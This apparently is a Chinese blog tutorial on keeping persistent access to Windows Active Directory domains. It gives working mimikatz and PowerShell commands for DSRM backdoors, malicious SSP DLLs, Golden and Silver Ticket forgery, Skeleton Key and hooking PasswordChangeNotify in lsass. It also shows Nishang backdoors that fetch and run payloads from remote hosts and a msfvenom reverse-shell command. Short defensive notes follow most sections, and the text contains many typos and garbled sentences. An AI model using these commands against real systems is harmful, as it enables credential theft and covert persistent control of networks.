内网渗透基石篇--权限维持分析(下)

举报
亿人安全 发表于 2023/05/31 22:08:13 2023/05/31
【摘要】 前言:以星流之名。 你所珍视的,为你守护。 你所丢失的,为你寻回。 你会看到太阳每一天为你升起,看到星辰永远照耀。 以星流之名,永以为诺。上篇文章:https://www.freebuf.com/articles/web/283870.html一、DSRM域后门1.DSRM域后门简介DSRM(目录服务恢复模式,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器...

前言:以星流之名。 你所珍视的,为你守护。 你所丢失的,为你寻回。 你会看到太阳每一天为你升起,看到星辰永远照耀。 以星流之名,永以为诺。

上篇文章:https://www.freebuf.com/articles/web/283870.html

一、DSRM域后门

1.DSRM域后门简介

DSRM(目录服务恢复模式,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器占用一个本地账户账户(也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使环境的运行恢复正常。修改方法。修改DSRM密码的基本原理是在DC上运行ntdsutil命令行工具。在渗透测试中,可以使用DSRM域对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步。在Windows Server 2008以后版本木的系统中无需安装此补丁方法。如果域控制器的系统版本为Windows Server 2003则不能进行使用我们知道,域控制器本地管理员和密码(与城管理员账号和密码不同)。DSRM 帐号可以作为一个域控制器的本地管理品用户,通过网络连接城控制器,驯服控制域控制器。

1.修改DSRM密码的方法

NTDSUTIL: 打开ndsuil
set dsrm password:设置DSRM的密码。
reset pssword on server null:在当前域控制器上恢复DSRM密码。
<PASSWORD>:修改后的密码。
q(第1次):退出DSRM密码设置模式。
 q(第2次):退出ntdsutil

2.如果域控制器的系统版本为 Windows Server 208 已安装 KB961320 及以上,可以将 DSRM 密码同步为已存在的域密码。常用命令说明如下。

NTDSUTIL: 打开ntdsutil。
SET DSRM PASSWORD:设置DSRM的密码。
SYNC FROM DOMAIN ACCOUNT domainusername:使DSRM的密码和指定域用户的密码同步。
q(第1次):退出DSRM密码设置模式。
q(第2次):退出ntdsutil。

2.实验操作

1.在域控上运行mimikatz,分别读取域用户的NTLM hash和本地管理员的NTLM hash8.3.2 SSP维持域控权限

读域用户

privilege::debug
lsadump::lsa /patch /name:lrbtgt

1628760525_6114e9cd2b39b54fa0e9f.png!small?1628760525416

2.读取本地管理员(DSRM)

token::elevate
lsadump::sam

3.将DSRM的哈希值与域用户同步验证下是否同步成功

修改DSRM登录方式

注册表路径是HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior(系统默认是不存在的,请手动添加),其可能的值如下:

0(默认值):只有当 DC 重启进入 DSRM 时,你才能使用 DSRM 管理员帐户。

1:只有当本地AD DS服务停止时,你才能使用DSRM管理员帐户登录。

2:无论哪一种情况,你都可以使用 DSRM 管理员帐户登录。(不推荐,因为密码策略并不会应用到 DSRM 的管理员帐户)

我们需要修改其值为2

可以在powershell下执行

new-itemproperty "hklm:\System\CurrentControlSet\Control\Lsa\" -name "DSRMAdminLogonBehavior" -value 2 -propertyType DWORD

1628760559_6114e9eff127aa180bd5a.png!small?1628760560276

4.使用DSRM远程登录

在域内机器已以管理员身份运行mimikatz,执行如下命令

privilege::debug
sekurlsa::pth /domain:domainname /user:username /ntlm:ntlmhash

1628760582_6114ea065f35817f6105d.png!small?1628760582688

3.防御措施

定期检查注册表中用于控制DSRM登录方式的键值hklm:\system\currentcontrolset\control\lsa\确认该键值为1,或者删除键值。 定期修改城中所有城控制器的DSRM账号。当试设置活动目录服务还原模式的管理员密码会被记录在 4794 日志中。

二、SSP维持域控制权限

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP是个DlL文件,主要支持Windows操作系统的身份认证功能,例如NTLM、Ketberos、Negotiare。Seure Channel (Schannel )、Digest、Credental (CredSSP )。SSPI (Security Support Provider Interfce.安全支持提供程序接口)是Windows在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。如果获得了网络中目标机器的系统,可以使用该方法进行持久权限化操作。其主要原理是:LSA(本地安全机构)用于验证身份;lsass.exe 是 Windows 的系统进程,用于本地安全和登录策略;在系统启动时,SSP 将被加载到 lsass.exe 进程中。但是,破坏攻击者 LSA 进行了扩展,自定义了恶意的 DLL文件,在系统启动时将其加载到LSASS.EXE进程中,就能够获取的Lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码,可以针对这一点采取相应的防御措施。

1.使用mimikatz打开

privilege::debug

misc::memssp

2.登录当前用户日志。输入用户名和密码后登录,获取明文密码,密码存储在文件。C:\Windows\System32\mimilsa.log中。

1.实验操作

实验环境:server2007

域主机 win7

1.添加ssp

将mimilib.dll复制到域控c:\windows\system32下

1628760764_6114eabcb4f165c6b86b0.png!small?1628760765060

2、设置SSP

修改域控注册表位置:

1628760774_6114eac622b4601d7258a.png!small?1628760774409

3.在Security Packages下添加mimilib.dll1628760784_6114ead0cc4a05e2e63e0.png!small?1628760785068

3、重启系统

域控重启后在c:\windows\system32可看到新生成的文件kiwissp.log,里面含用户名和密码。

1628760795_6114eadbc839adfc0f033.png!small?1628760796109

三、 SID历史域后门

每个用户拥有自己的 SID。SID 的作用主要是追踪安全主体控制用户连接资源时的访问权限。SID 历史是在迁移过程中需要使用的一个属性。

如果将域中域的用户迁移到 B 域中,那么在 B域中新建的 SID 会唤醒一个用户影响迁移后用户的权限,导致迁移后无法访问用户本来的资源。 SID的作用是在域迁移中过程域用户的访问,即如果迁移后用户的SID改变了系统,保持迁移其原始的SID到迁移后的用户的SID属性中,使迁移后的SID用户的历史用户或者保持原有权限、能够访问其原来可以访问的资源。使用mimikaz,可以将SID历史属性添加到域中任意用户的SID历史属性中。在渗透测试中,如果获得了管理员权限(等同于)域管理员的权限)。就可以将 SIDHisoy 实现为持久化的方法。

将Administrator的SID添加到恶意用户测试的SID History属性中。使用powershell查看用户的SID History属性

利用前提:

1.实验操作

1. 当前域与其他域有信任关系。

1628760848_6114eb10645b409ee6cd5.png!small?1628760848643

2. 开启SID History,与其中任意一个林开启SID History信任,即可使用下面的方法

1628760861_6114eb1d67df98b39e13b.png!small?1628760861614

2.GOLDen TICKet

Golden Ticket介绍

在渗透测试中,如果发现系统中存在恶意行为,应及时更改域管理员密码,对受控制的机器进行断网处理,然后进行日志分析取证。然而,攻击者往往会留下多条进入内网的通道,如果我们忘记将krbtgt账号重置,攻击者就可以很快拿到域控制器权限。

krbtgt是KDC服务使用的账号,属于Domain Admins组,在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt的NYLM Hash或者AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。

攻击者在使用域的Golden Ticket(黄金票据)进行票据攻击时,通常需要掌握以下信息:

需要伪造的域管理员用户名

完整的域名

域SID

krbtgt的NTLM Hash或AES-256值

使用Golden Ticket伪造的用户可以是任意用户(即使这个用户不存在),因为TGT的加密是由krbtgt完成的,所以,只要TGT被krbtgt账户和密码正确的加密,那么任意KDC使用krbtgt将TGT解密后,TGT的所有信息都是可信的。

(1)首先获取krbtgt的NTLM Hash:

在域控中输入如下命令获取krbtgt账号的NTLM Hash:

mimikatz lsadump:dcsync /domain:pinger.testlab /user:krbtgt

1628760929_6114eb616d609d7af7565.png!small?1628760929700

(2)获取域SID:

直接输入如下命令,即可查看域内所有账号的SID,去掉末尾的就是域的SID:

1628760937_6114eb69be6a68d8febfb.png!small?1628760937956

(3)获取域管账号:

输入如下命令获取:

1628760947_6114eb73060dd09131ff4.png!small?1628760947229

(4)获取域名:

直接输入ipconfig /all就可以获取了;

(5)使用mimikatz生成黄金票据:

然后在低权的机器上使用mimikatz生成黄金票据:

mimikatz kerberos::golden /admin:Administrator /domain:pinger.testlab /sid:S-1-5-21-1981736034-2187932818-3398635097 /krbtgt:fca1ae5638a702c6e86dda451664a858 /ticket:Administrator.kiribi

1628760976_6114eb909404d750f58ff.png!small?1628760976928

6.使用mimikatz导入票据进行PTT了:1628761003_6114ebab39c902b57202a.png!small?1628761003465

7.最后在通过查看DC的C盘验证下权限:

dir \\dc\c$

1628761012_6114ebb4627e5741a15d4.png!small?1628761012592

3.Golen TIcket 攻击的防御措施

管理员通常会修改域管理员的密码,但有时会忘记将krbtgt密码一并重置,所以,要想防止Golden Ticket攻击,就需要将krbtgt密码重置两次。

四、Silver Ticket(白银票据)

Silver Ticket(白银票据)不同于Golden Ticket。Silver Ticket的利用过程是伪造TGS,通过已知授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket在利用过程中需要由KDC颁发TGT,并且在生成伪造的TGT的20分钟内,TGS不会对该TGT真伪进行校验。

Silver Ticket依赖于服务账号的密码散列值,这不同于Golden Ticket利用需要使用krbtgt账号密码的散列值,因此更加隐蔽。

Golden Ticket使用krbtgt账号的密码散列值,利用伪造最高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获得域控制器权限。而Silver Ticket会通过相应的账号服务来伪造TGS,范围有限,只能获得对应的权限服务。Golden Ticket是由krbtgt账号加密的,而Silver Ticket是由特定的服务账号加密的。

攻击者在使用Silver Ticket对内网进行攻击时,需要掌握以下信息:

域名

域SID

目标服务器的FQDN

可利用的服务

服务账号的NTLM Hash

需要伪造的用户名

1.实验操作

(1)首先获取服务账号的NTLM Hash:

在域控中输入如下命令:1628761094_6114ec068234f181d63c2.png!small?1628761094765

(2)使用mimikatz生成白银票据:

1628761103_6114ec0f997460e001067.png!small?1628761103792

然后使用mimikatz生成CIFS服务的白银票据并导入内存:

mimikatz kerberos::golden /domain:pinger.testlab /sid:S-1-5-21-1981736034-2187932818-3398635097 /target:dc.pinger.testlab /service:cifs /rc4:635260b8259e41feed71f6f0b0fd0f64 /user:Administrator /ptt

1628761124_6114ec24d4a96a5555fd5.png!small?1628761125187

(3).成功拿到目录。

1628761166_6114ec4e1f263bad2c8fa.png!small?1628761166326

2.Silver Ticket攻击的防范措施

在内网中安装杀毒软件,及时更新系统补丁

使用组策略在域中进行相应的设置,现值mimikatz在内网中的使用

计算机的账号密码默认30天清理一次,检查该设置是否生效

3.实验操作

(1)在域控中直接执行mimikatz,如下命令所示:

mimikatz misc::skeleton

1628761245_6114ec9d886bb95450292.png!small?1628761245848

(2)然后直接在低权限的机器上尝试用万能密码登录:

万能密码为“mimikatz”,使用SMB登录。

shell net use \\dc\ipc$ "mimikatz" /user:pinger.testlab\Administrator

1628761298_6114ecd20d96f74024f7c.png!small?1628761298420

4.Skeleton Key

使用Skeleton Key(万能密码),可以对域内权限进行持久化操作。

Skeleton Key攻击的防范措施

域管理员要设置强口令,确保恶意代码不会再域控制器内执行

在所有域用户中启动双因子认证,例如智能卡认证

启动应用程序的白名单,以限制mimakatz在域控制器中的运行

Hook PasswordChangeNotify的作用是当用户修改密码后在系统中进行同步。攻击者可以利用该功能获取用户修改密码时输入的密码明文。

5.Hook PasswordChangeNotify攻击的防御措施

使用Hook PasswordChangeNotify不需要重启系统、不会再系统磁盘上留下DLL文件、不需要修改注册表。如果Hook PasswordChangeNotify被攻击者利用,网络管理员是很难检测到的。所以,在日常的网络维护工作中,需要对PowerShell进行严格检视,并启用约束语言模式,对Hook PasswordChangeNotify进行防御。

1.实验操作

分别输人如下命令,使用Invoke RefletivePEIniection.psl将HookPasswordChange.dl注人内存,在目标系统中启动管理员权限的PowerShell

Import-Module .\Invoke-ReflectivePEInjection.psl

Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

修改用户密码

net user administrator 123

查看c:\windows\temp\passwords.txt可以看到修改后的密码。

6. Nishang 下的脚本后门分析与防范

Nishang是基于Porsthel的渗透测试工具,集成了很多框架、脚本及各种 Payload在Nishang环境中对一些脚本后门进行分析。

1. HTTP-Backdoor脚本

此脚本可以帮助攻击者在目标主机上下载和执行Powershell脚本,接收来自第三方网站的指令,在内存中执行PowerShell脚本,其语法如下。

TTP-Backdoor -CheckURL http://  -PayloadURL http://   -MagicString start -StopString stop
 
CheckURL:给出一个URL地址。如果该地址存在,Magistring中的值就会执行Payload,下载并运行攻击者的脚本。
-PayloadURL: 给出需要下载的PowerShell脚本的地址。
-StopString: 判断是否存在CheckURL返回的字符串,如果存在则停止执行。

2.Add-ScrnSaveBackdoor

Add ScrnSaveBackdoor脚本可以帮助攻击者利用Windows的屏幕保护程序来安插一个隐藏的后门
 
Add-ScrnSaveBackdoor -Payload "powershe1l.exe -ExecutionPolicy Bypass -ncprofile -noexit -c Get-Process"    ##执行Payload
 
Add-ScrnsaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm -Arguments HTTP-Backdoor http://... start123 stopthis    #在PowerShell中执行一个HTTP-Backdoor脚本
 
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code exec.psl -PayloadURL:指定需要下载的脚本的地址。
 
Arguments:指定需要执行的函数及相关参数。
攻击者也会使用msfvenom生成一个PowerShell, 然后执行如下命令,返回一个meterpreter。
 
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell

3.Execute- -OnTime

Execute-OnTime脚本用于在目标主机上指定PowerShell脚本的执行时间,与HTTP-Backdoor脚本的使用方法相似,只不过增加了定时功能,其语法如下。
 
PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get- Information -Time 23:21 -CheckURL http:/ /pastebin. com/ raw .php?i=zhyf8rwh一 Stopstring stoppayload
PayloadURL:指定下载的脚本的地址。
-Arguments: 指定要执行的函数名。
-Time: 设置脚本执行的时间,例如“-Time 23:21”。
-CheckURL:检测一个指定的URL里是否存在StopString给出的字符串,如果存在就停止执行。

4. Invoke- ADSBackdoor

Invoke-ADSBackdoor脚本能够在NTFS数据流中留下一个 永久性的后门。这种方法的威胁是很大的,因为其留下的后门是永久性的,且不容易被发现。

Invoke-ADSBackdoor脚本用于向ADS注人代码并以普通用户权限运行。

Invoke-ADSBackdoor -PayloadURL http://192.168.12.110/test.ps1

总结

后门是权限维持的重要一步,要想持续控制,就得做一些后门上去,后门是绕过安全控制获取对程序或系统访问权限的方法。此篇文章主要介绍一些常用的生成后门的方式,以及如何进行防御后门。

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。